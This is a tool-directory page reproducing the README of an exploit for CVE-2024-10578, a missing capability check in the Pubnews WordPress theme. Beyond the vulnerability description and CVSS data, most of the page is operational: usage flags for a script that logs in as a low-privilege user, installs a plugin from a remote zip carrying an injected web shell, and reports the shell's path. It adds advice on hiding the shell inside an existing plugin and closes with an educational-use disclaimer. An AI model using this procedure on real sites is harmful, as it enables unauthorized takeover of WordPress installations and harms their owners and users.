Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-10578 — Pubnews <= 1.0.7 - Unauthenticated Arbitrary Plugin Installation | Kitploit
Tools/GitHubGitHub/nxploited/cve-2024-10578
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubnxploited/cve-2024-10578

CVE-2024-10578

Pubnews <= 1.0.7 - Unauthenticated Arbitrary Plugin Installation

View Repository
61 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-10578: Pubnews <= 1.0.7 - Unauthenticated Arbitrary Plugin Installation

Description

The Pubnews theme for WordPress is vulnerable to unauthorized arbitrary plugin installation due to a missing capability check on the pubnews_importer_plugin_action_for_notice() function in all versions up to, and including, 1.0.7. This vulnerability allows authenticated attackers with Subscriber-level access and above to install arbitrary plugins that can be leveraged to exploit other vulnerabilities.

CWE

  • CWE-434: Unrestricted Upload of File with Dangerous Type

CVSS

  • Score: 8.8 (HIGH)
  • Version: 3.1
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Exploit Script: wordpress_exploit.py

This script exploits the vulnerability in the Pubnews theme to install an arbitrary plugin from a provided URL. The plugin can contain a malicious shell or any other payload.

Usage


CVE-2024-10578.py [-h] -u URL -un USERNAME -p PASSWORD -url_zip PLUGIN_URL

Pubnews <= 1.0.7 - Unauthenticated Arbitrary Plugin Installation # By Nxploited, Khaled alenazi

options:
  -h, --help            show this help message and exit
  -u, --url URL         The URL of the WordPress site
  -un, --username USERNAME
                        The username for WordPress login
  -p, --password PASSWORD
                        The password for WordPress login
  -url_zip, --plugin_url PLUGIN_URL
                        The plugin URL to install (must be a zip file with the shell injected inside)

Example

python 
CVE-2024-10578.py -u http://target/wordpress -un admin -p admin -url_zip http://target/shell1.zip

Output

[+] Logged in successfully.
[+] Admin _wpnonce extracted: 6bf22371ab
[+] Plugin installed successfully.
[+] Plugin extracted. You can find the shell here: /wp-content/plugins/shell1/

Important Notes

  • The plugin URL must be a direct link to a zip file that contains the shell or any other payload.
  • It is recommended to use any existing WordPress plugin, inject the shell inside it, and then zip it again. Upload this zip file to a direct link for exploitation.

⚠️ Disclaimer

This script is intended for educational purposes only. The author does not condone the use of this script for illegal activities. Use it responsibly and only on systems you have explicit permission to test.

By: Nxploited | Khaled Alenazi

Download Tool